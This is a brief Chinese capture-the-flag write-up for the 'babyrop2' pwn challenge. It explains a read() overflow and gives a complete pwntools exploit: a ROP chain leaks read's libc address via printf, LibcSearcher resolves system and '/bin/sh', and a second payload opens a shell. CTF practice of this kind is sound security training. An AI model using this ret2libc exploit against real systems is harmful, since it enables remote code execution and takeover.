对pwn的有了更深一层的理解
一般是找到可以利用的漏洞（溢出点）

```
printf("What's your name? ");
v5 = read(0, buf, 0x100uLL);
```

找到溢出点read
然后考虑能不能执行system(bin/sh)
发现文件中没有，这时候需要泄露libc地址
寻找可以泄露
libc的函数printf read
可以泄露libc
泄露libc后让其执行system(bin/sh)即可
rop是一种方法
执行system是目的

```
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
io = remote("node4.buuoj.cn", 26703)
elf = ELF('babyrop2')

pop_rdi = 0x400733
format_str = 0x400770
pop_rsi_r15 = 0x400731
main = 0x400636

printf_got = elf.got['printf']
printf_plt = elf.plt['printf']
read_got = elf.got['read']

payload = 'a'*0x28 + p64(pop_rdi)+p64(format_str) +
p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main)
io.recvuntil("What's your name? ")
io.sendline(payload)

read_addr =u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc = LibcSearcher('read',read_addr)
libc_base = read_addr-libc.dump('read')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
```

```
payload = 'a'*0x28 + p64(pop_rdi) + p64(bin_sh) + p64(system)
io.sendline(payload)
io.interactive()
```